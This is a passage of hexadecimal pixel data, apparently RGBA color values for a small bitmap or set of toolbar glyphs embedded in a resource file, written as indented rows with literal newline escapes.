C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC1C0C1FFC0C0C0FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0\n      C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0\n      C0FFC0C0BFFFBFBFBFFFBFBFBFFFFFFFFFFFB7BCB7FFFFFFFFFFFFFFFFFF30B0\n      41FF019B14FF069D18FF069D18FF069D18FF069D18FF069D18FF069D18FF069D\n      19FF069E17FF059D19FF03A217FF487B50FFAB994AFFF2D44FFFEED14EFFEDD1\n      4FFFEDD14FFFEDD14FFFEDD14FFFEDD14FFFEDD14FFFEDD14FFFEDD14FFFEDD1\n      4FFFEED14FFFEED14EFFF4D650FF968D5FFF3C9E3CFF1CAC1CFF1FAC1FFF1FAD\n      20FF20AD20FF20AD20FF20AD20FF20AD20FF20AD20FF20AD20FF20AD20FF20AD\n      20FF1FAD1EFF1EAC1FFF1CAD1CFF5F9E5FFFA37B21FFE7A205FFE29E05FFE29F\n      06FFE29F06FFE29F06FFE29F06FFDE9500FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9F9AFFBBBDBCFFFFFFFFFFFFFFFFFF329C\n      3BFF068711FF0C8A17FF0C8A17FF0C8A17FF04860FFF008209FF008208FF0484\n      0FFF0A8916FF0A8915FF088A13FF47774DFFA9974DFFE1C24FFFDFBF50FFDFBF\n      51FFDFC051FFDFC050FFE6BE4AFFEBBD46FFEABD46FFE3BF4CFFDFC051FFDFC0\n      51FFDFBF50FFDFBF4FFFE4C250FF978C60FF359D2BFF18A710FF1AA31AFF1BA4\n      1BFF1BA41BFF1BA41BFF1BA41BFF1BA41BFF1BA41BFF1BA41BFF1BA41BFF1BA4\n      1BFF1BA41BFF19A319FF15A215FF589858FFA27323FFD58908FFD28A0AFFD28A\n      0BFFD38A0CFFD38A0CFFD38A0CFFCE7D00FFFFFFFFFFFFFFFFFFFFFFFFFFF6F5\n      FDFFFFFFFFFFF8F7FCFFFFFFFFFFA2A2A0FFB9BBB9FFFFFFFFFFFFFFFFFF3491\n      38FF08790DFF0E7B14FF0E7B14FF007000FF479B4CFFABD2ADFFB4D6B7FF58A6\n      5DFF006F00FF0A7910FF097C0FFF49714CFFA5904DFFDFBA50FFDCB951FFDBB9\n      52FFDDB850FFEBB444FF91CA99FF5AD6CAFF64D3C1FFBBC170FFE9B546FFDBB8\n      52FFDBB952FFDCB751FFE1BC50FF938661FF3343BCFF118243FF13AF00FF14A5\n      0FFF14A114FF14A114FF14A114FF14A114FF14A114FF14A114FF14A114FF14A1\n      14FF13A113FF12A012FF0E9F0EFF579757FF9D6924FFD07B09FFCE7A0CFFCD7B\n      0DFFCD7D0EFFCF7C0EFFCF7C0EFFCA6F00FFFFFFFFFFFFFFFFFFFFFFFFFFF1EF\n      FBFF4527D1FFDAD3F4FFFFFFFFFFA0A09EFFB9B9B9FFFFFFFFFFFFFFFFFF3488\n      36FF096C0AFF0F7110FF006500FFA2C7A3FFFFFFFFFFF1F5F1FF93BD93FFA7C8\n      A7FFA6CBA6FF006703FF09700AFF496B4AFFA28B4DFFDCB450FFD8B251FFDAB2\n      50FFE6AF46FF2ADBECFF05E4FFFF0DE2FFFF0CE2FFFF00E4FFFF83C69FFFE5AF\n      47FFDAB252FFD8B251FFDFB650FF918461FF2F2CDAFF0C00FFFF1024D8FF0F82\n      3FFF1FB209FF12A40CFF0C9D0CFF0C9D0CFF0C9D0CFF0C9D0CFF0C9D0CFF0C9D\n      0CFF0B9C0BFF0A9C0AFF079B05FF569856FF996222FFCD710AFFC9700BFFCA71\n      0EFFCA700FFFCA720FFFCA720EFFC56400FFFFFFFFFFFFFFFFFFFFFFFFFFCCC3\n      F2FF6246DBFFC2B9F0FFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFF3585\n      35FF096809FF0A6909FF428D41FFFFFFFFFFA5C8A5FF005B00FF036603FF0164\n      01FF096909FF1C731BFF076B07FF496949FFA2894EFFDBB251FFD7B050FFE2AE\n      49FF6EC8ADFF01E3FFFF0FDFFFFF0FDFFFFF0FDFFFFF0EE0FFFF00E5FFFFCCB3\n      5CFFDBAF4FFFD7AF51FFDEB350FF908261FF2C2CD6FF0909FEFF0C09FFFF0800\n      FFFF4439FFFFE0D3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5C5C5FF986024FFCB6C08FFC86B0CFFC96D\n      0CFFC96C0DFFC96E0FFFC96D0FFFC46000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFF8F8FDFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFF3585\n      35FF0A6B0AFF036503FFA1C6A1FFFFFFFFFF005C00FF0E6D0EFF106E10FF0C6B\n      0CFF0D6D0DFF0A690AFF096D09FF496A49FFA28A4EFFDCB555FFD9B052FFE8AC\n      45FF29D9E8FF0BE0FFFF10E0FFFF10E0FFFF10E0FFFF10E0FFFF04E2FFFF83C4\n      9CFFE1AE4AFFD7B151FFDEB350FF918261FF2C2CD9FF0C0CFEFF0E0EFEFF0D0D\n      FEFF0A0AFEFF0000FDFF2828FAFFB8B9F9FFFFFFFEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5C5C5FF965920FFC96800FFC56400FFC562\n      00FFC56400FFC56400FFC56400FFC15800FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFFB9B9B9FFFFFFFFFFFFFFFFFF3788\n      37FF0A6A0AFF026502FFA6C7A6FFB7D3B7FF006400FF106E10FF0B6B0BFF257A\n      25FF006300FF0C6B0CFF096D09FF496A49FFA28B50FFDDB758FFDAB559FFE9B0\n      4AFF2BD9E6FF0AE0FFFF0FDFFFFF10E0FFFF10E0FFFF10E0FFFF04E2FFFF86C4\n      9BFFE0AE4AFFD7B151FFDEB350FF918261FF2E2ED9FF0E0EFEFF1111FEFF1110\n      FEFF0808FFFF0000FCFF4848F9FFD6D5FCFFFFFFFEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5C5C5FFBDC3C9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1800CBFF2B07CFFF2B07CFFF2B07\n      CFFF2B06CFFF2904CFFF2701D4FF53478DFFB9B9B9FFFFFFFFFFFFFFFFFF3A8E\n      3AFF107410FF0E710EFF499349FFD9E7D9FF006000FF0E6C0EFF0C6B0CFFE8EF\n      E8FF8EBA8EFF016301FF096C09FF496949FFA38C51FFDEB95CFFDAB75DFFE5B4\n      56FF7ACCADFF05E4FFFF11E1FFFF0EDFFFFF0FDFFFFF0EDFFFFF00E5FFFFCFB2\n      57FFDBAF4EFFD7AE4FFFDEB451FF918362FF2C2CD9FF0F0FFEFF1111FFFF0E10\n      FFFF6161FFFFF4F5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5C5C5FFB9B9B9FFFFFFFFFFFDFCFAFFFFFF\n      FFFFFCFBF8FFFFFFFFFFFFFFFFFFFFFFFFFF2A07D0FF3D1CD4FF3D1DD4FF3D1B\n      D4FF3C1AD4FF3A18D3FF3B17DAFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFF3B90\n      3BFF127712FF177A17FF056F05FFB3D2B3FF328A32FF127512FF0F740FFF4492\n      44FF318A31FF0F750FFF0F7B0FFF496B49FFA38C52FFDFBB60FFDBB960FFDDB8\n      60FFECB454FF36DDE4FF06E6FFFF0FE4FFFF0DE4FFFF00E7FFFF90C79DFFE5B4\n      54FFDCB75DFFDCB85EFFE2BD61FF918362FF2E2EDAFF1111FFFF1616C3FF1817\n      2EFF111000FF050500FF020202FF000000FF000000FF000000FF000000FF0000\n      00FF000000FF000000FF000000FF505050FFB9B9B9FFFFFFFFFFF4E3CFFFD182\n      21FFF9F3EDFFFFFFFFFFFFFFFFFFFFFFFFFF3C14D5FF4B27D8FF4A26D8FF4A26\n      D8FF4A26D8FF4B25D8FF4C25DEFF5B4F8FFFB9B9B9FFFFFFFFFFFFFFFFFF3B92\n      3BFF107A10FF177D17FF177D17FF087408FF3B923BFF147B14FF177D17FF1179\n      11FF127A12FF137B13FF0F7D0FFF496B49FFA38C52FFE1BC62FFDDBA62FFDCBB\n      63FFDEBB61FFEFB655FF9BC99AFF5ED4C6FF6AD2BEFFC7C076FFEAB85AFFDEBB\n      63FFDCBB63FFDDBA62FFE3BF63FF918362FF2F2FAEFF12112BFF141400FF1616\n      11FF171717FF171717FF171717FF181818FF181818FF171717FF171717FF1717\n      17FF151515FF131313FF0F0F0FFF545454FFB9B9B9FFFFFFFFFFEDD0AEFFD48B\n      2EFFF0D9BDFFFFFFFFFFFFFFFFFFFFFFFFFF3E17D6FF502BDAFF502BDAFF502B\n      DAFF4F2ADAFF4D28D8FF4E25DFFF5B4E8FFFB9B9B9FFFFFFFFFFFFFFFFFF3793\n      37FF0C790CFF117B11FF117B11FF117B11FF0E7A0EFF117B11FF117B11FF117C\n      11FF107C10FF0E7B0EFF0A810AFF476A47FFA28B53FFE1BD63FFDEBB61FFDEBB\n      62FFDEBB64FFDEBA63FFE5BA5EFFEAB95AFFE8B95BFFE2BB60FFDEBA63FFDEBB\n      64FFDEBB62FFDEBB61FFE4C063FF908261FF2B2B27FF0B0B06FF0F0F0FFF1111\n      11FF111111FF121212FF121212FF121212FF121212FF121212FF121212FF1111\n      11FF101010FF0E0E0EFF0B0B0BFF525252FFB9B9B9FFFFFFFFFFFFFFFFFFFBF8\n      F3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E14D6FF4F27DAFF4F27DAFF4E27\n      DAFF4E26DAFF4D24DAFF4E23E1FF5A4D8EFFC0C0C0FFFFFFFFFFFFFFFFFF549F\n      54FF2E8C2EFF338E33FF338E33FF338E33FF338E33FF338E33FF338E33FF338E\n      33FF338E33FF318D31FF328F32FF557655FFA99359FFE6C779FFE3C474FFE4C4\n      75FFE4C475FFE4C475FFE4C475FFE4C475FFE4C475FFE4C475FFE4C475FFE4C4\n      75FFE4C475FFE3C574FFE7C777FF9F916DFF343434FF343434FF323232FF3333\n      33FF2F2F2FFF2E2E2EFF2E2E2EFF2E2E2EFF2E2E2EFF2E2E2EFF2E2E2EFF3030\n      30FF333333FF323232FF323232FF5A5A5AFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5531DCFF6444E0FF6444E0FF6445\n      E0FF6443E0FF6343E0FF6644E4FF675B9DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBEBFFFBFBEBFFFBFBEBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFB4853CFFCB881DFFCD871FFFCC87\n      1FFFCD881FFFD08511FFB98536FFAC8F68FFAB9067FFC5831FFFCE8515FFCC88\n      1FFFCC871FFFCD871EFFCC881CFFAC8E5FFF9B6C25FFD4860DFFD1850DFFD186\n      0DFFD0850CFFD0850CFFD0850CFFD0850CFFD0850CFFD0850CFFD0850CFFD085\n      0CFFD1860DFFD1850CFFD6880CFF8E734BFF366EC2FF3095FFFF2D8EFFFF1983\n      FFFFCEF4FFFFB7C8D7FF56759FFFDBE7EEFF9CD3FFFF1E85FFFF2D8FFFFF2D8F\n      FFFF2D8FFFFF2D8FFFFF3298FFFF52729EFF3849A7FF2B47EBFF2D46E6FF2C46\n      E5FF2D47E5FF2A3DEDFF4ABD88FF4CC384FF4CC185FF4CC185FF4CC185FF4CC1\n      85FF4CC185FF4BC085FF4DC788FF5F8674FFAF7E35FFC27B18FFC2801AFFC27C\n      17FFC07B16FFB5B2A8FF818C9AFF98999EFF98999EFF7B8B9AFFBDAF92FFC47D\n      17FFC17C17FFC27D19FFC17B15FFA68758FF9D6D29FFCA8212FFC47E14FFC47D\n      14FFC47E15FFC47E15FFC47E15FFC47E15FFC47E15FFC47E15FFC47E15FFC480\n      15FFC47D14FFC47E13FFCC8112FF90744BFF3A5BB6FF3168FDFF3266F6FF1F58\n      F5FFC4D9FFFFAFA9A4FF554D53FFD1CBC1FF97B6FFFF255DF6FF3466F6FF3367\n      F6FF3367F6FF3166F6FF336AFFFF576A9BFF393DA3FF2D2FD4FF2F31D1FF3032\n      D1FF3033D1FF2D27DAFF4CAD65FF4EB261FF4EB163FF4EB163FF4EB163FF4DB1\n      61FF4DB162FF4CB061FF4BB461FF5E866BFFAC7A33FFC07811FFC17910FFBF78\n      13FFA9B9C7FFC8D7E7FFA79F96FF949295FF929196FFBCAB95FFBDD3E7FFB4BC\n      C3FFC27A13FFBF7811FFC0780FFFA68757FF6560BDFF706CFFFF6D67FBFF645E\n      FBFF615CFBFF6762FBFF6F6BFBFF706BFBFF706BFBFF706BFBFF706BFBFF706A\n      FBFF706AFBFF6F69FBFF716CFFFF6F6D9EFF3848B1FF2C48F9FF2E48F2FF1B38\n      F1FFC2CFFFFFAE9B89FF563121FFD1C3B0FF94A5FFFF203CF1FF2F49F2FF2F49\n      F2FF2E49F2FF2D47F2FF2D48FEFF566097FF39309AFF2D1ECDFF301FCAFF3122\n      C9FF3221CBFF2F15D5FF4EA74EFF4FAC48FF4FAB4AFF4FAB4AFF4FAB4AFF4FAB\n      4AFF4EAB49FF4DAA48FF4CAD47FF608260FFAB782FFFBD750BFFC2750AFFB7B9\n      C0FFD5E2F1FFBA6F05FF998260FF8E8D93FF8C8D95FFA47A3EFFC38426FFC0D2\n      E7FFD4D0CDFFBB6F00FFBE750AFFA68655FF3A34AFFF2D23F1FF2F25ECFFC1BD\n      F9FFD8D6FBFF9892F5FF2519ECFF3429EDFF3429EDFF3529EDFF3329EDFF3329\n      EDFF3428EDFF3127EDFF2F26F4FF585498FF4F51B4FF545BFFFF5259F9FF434B\n      F8FFD4DDFFFFB09073FF581A00FFD2BCA4FFABB4FFFF4950F8FF545BF9FF545B\n      F9FF535AF9FF5259F9FF555CFFFF616599FF392695FF2E0FC4FF2F12C2FF3212\n      C3FF3214C3FF2F07CFFF50AD2EFF52B427FF51B228FF51B228FF51B228FF51B2\n      28FF52B227FF4FB126FF4FB524FF618354FFAB772CFFC07305FFA17B30FF85A4\n      ABFFC99B55FFBC6C00FFE3CEAEFFB9BABFFFC9CBD1FFDABA8BFFBB6C00FFD6A9\n      69FF83A2A6FFCA8D52FFBD7101FFA68655FF3833AEFF2019F0FFFFFFFFFF6E68\n      F2FFE6E5FBFF908CF5FFB6B4F8FF241DECFF2F29EEFF2F29EEFF2F29EEFF2F28\n      EEFF2E27EEFF2C24EEFF2B24F5FF545398FFBDBAA8FFFFFFEBFFFFFFE4FFFFFF\n      E6FFFFFFF7FFA0745EFF5E1800FFB89A89FFFFFFF2FFFFFFE5FFFFFFE5FFFFFF\n      E6FFFFFFE6FFFFFFE5FFFFFFF0FF9E9C93FF3A2492FF2E08C2FF310CC0FF320C\n      C0FF310DC0FF330FC2FF3104CBFF3104CDFF3104CDFF3104CDFF3104CDFF3002\n      CBFF3001CCFF2E01CCFF2C00D1FF55478CFFAC782CFFC47704FF887653FFE8E0\n      EFFFBA7004FFBD6F00FFC0924CFFFFFFFFFFFFFFFFFFB57923FFBF7202FFB96D\n      03FFAFC5C2FFBD7163FFBE7200FFA88654FF3530B0FF6C67F6FFFFFFFFFF524B\n      EFFF1008EAFFAFACF7FFFFFFFFFF1E16ECFF3029EEFF312AEEFF312AEEFF3129\n      EEFF3028EEFF2E26EEFF2B24F5FF555198FF512721FF5D1500FF571200FF5810\n      00FF581300FF652600FF703310FF642100FF581300FF581300FF581300FF5811\n      00FF571200FF560F00FF5B0E00FF624C4AFF3A2494FF320CC5FF320DC0FF300E\n      C0FF320FC2FF320FC1FF320FC2FF320FC2FF320FC2FF320FC2FF330FC2FF310E\n      C1FF320DC1FF300BC1FF2D08C5FF554988FFAC7A2EFFBF7903FFD9908AFF84AB\n      D2FFC26D00FFCEAD7DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC69D5FFFC26D\n      00FF5B9DD9FFC5AD98FFBD6F00FFA88554FF3632B0FF716BF7FF9D99F6FF473F\n      EFFF2822ECFF4B45EFFFD6D5FAFF221BECFF312AEEFF312AEEFF312AEEFF3129\n      EEFF3028EEFF2E26EEFF2B24F5FF555198FF68452EFF85491EFF824920FF8146\n      20FF7B4322FF713413FF6C2D09FF733818FF7A4221FF7B421EFF7B421EFF7B43\n      1EFF7A411DFF79401BFF80421AFF6F5C50FF422C96FF3309C5FF370FC3FF340D\n      C1FF310EC0FF3816C2FF310EC1FF3310C2FF3310C2FF3310C2FF3310C2FF310F\n      C0FF320EC1FF300CC1FF2D09C5FF554988FFAC7A2CFFC37B04FFC3A98AFF5099\n      D1FFC68317FFBA750BFFAA5D00FFCACED8FFB9AFA1FFB06000FFB46D07FFBD7D\n      23FF738DA9FFCE9960FFBC7001FFA78655FF3B36B0FF2820F1FFFCFBFEFFFFFF\n      FFFF6B65F2FFFFFFFFFFA19DF6FF261FECFF2F28EDFF2F28EDFF2F28EDFF2F27\n      EDFF2E26EDFF2C24EDFF2B25F4FF555398FFBFC4CAFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFB29178FF5C1600FFCFBBACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA1A5FF3F2695FF8E74E0FF4017C7FF4C26\n      CAFF8B73DDFF3A13C5FF2500BEFF1F00BCFF1E00BAFF1E00BBFF1E00BBFF1E00\n      BBFF1D00B9FF1C00B9FF1B00BFFF504785FFAE7A2EFFC5820DFFCA8C23FF76B2\n      EDFF98A796FFCB7B01FFB87D1DFFB3B9C7FF989EADFFC07705FFCE7C05FF82A0\n      8AFFB3AFE2FFC38312FFC6840DFFA88754FF3833B0FF332AF4FF2E24EDFF9F9B\n      F7FFADAAF8FF7974F4FF2921EEFF3931EEFF3830EFFF362DEFFF352CEFFF352C\n      EFFF352DEFFF352DEFFF372EF6FF545098FF2F2EAEFF2A28F7FF2B29F0FF1917\n      EFFFC0C6FFFFB9946DFF682400FFD8C0A0FF9295FFFF1B19EEFF2825EFFF2826\n      EFFF2826EFFF2826EFFF2C28FDFF505094FF3B2395FF4B22CEFFB7ABE8FF9178\n      DEFF390FC5FF3002C3FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A19EFFAE7B2CFFC78710FFC78206FFE1AC\n      8CFF5677D0FFADDCE9FFBE9D5CFFA48656FFAE9066FFCCA767FF9FC9D5FF6DB3\n      FAFFD6A355FFC6840AFFC7850FFFA88754FF686ABDFF8383FFFF7E7EFBFF7675\n      FBFF7576FBFF7879FBFF8182FBFF8182FBFF8182FBFF8182FBFF8183FBFF8183\n      FBFF8181FBFF7E80FBFF8585FFFF6E6E9FFF403FAEFF4845F9FF4745F2FF3533\n      F0FFCBD1FFFFB9966FFF6A2500FFD8C0A0FFA2A6FFFF3C3AF1FF4947F2FF4A48\n      F2FF4846F2FF4746F2FF4947FEFF585895FF3B2094FF6D4BD9FFB5A7E8FFBBAF\n      EAFF6541D2FF2F00C3FFF9FAFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFAE7B2BFFC8870BFFC9860FFFC584\n      03FFD99556FF5C9BCFFF56ACF2FF91C3F1FF4E8671FF5AAEF6FF5C9FD2FFD3A7\n      57FFC68301FFC9860EFFC8870BFFA88752FF89531FFFB96400FFB16100FFB262\n      00FFB26201FFB26201FFB26201FFB26201FFB26201FFB26201FFB26201FFB262\n      01FFB26200FFB16100FFBA6400FF806247FF3F3FAEFF4745FAFF4644F3FF3632\n      F1FFCCD1FFFFBA956AFF6A2300FFD8BF9EFFA3A5FFFF3A38F2FF4846F3FF4846\n      F3FF4845F3FF4642F3FF4846FFFF595693FF3A1F95FF714DDBFF623CD4FF6945\n      D6FF6C49D5FF2C00C5FFF9F8FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFFB18034FFD79B34FFD59932FFD69B\n      33FFD6992DFFDB9420FFD3AD67FFD6A280FFE2B58BFFD9B06EFFD9972AFFD698\n      2CFFD69B33FFD69A32FFD59932FFAB8A5AFF8C5C32FFBE7B37FFBB7635FFBA78\n      36FFBC7837FFBC7837FFBC7837FFBC7837FFBC7837FFBC7837FFBC7837FFBC78\n      37FFBA7836FFBB7735FFBF7935FF8D6E56FF4444BAFF6764FFFF605DFEFF504E\n      FDFFDBDFFFFFC9A888FF824116FFE5D0B4FFB4B5FFFF5454FDFF6160FEFF615E\n      FEFF615FFEFF605EFEFF6562FFFF6260A7FF452F9CFF633ED5FF5730D0FF5730\n      D0FF623FD3FF491FCDFFFDFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      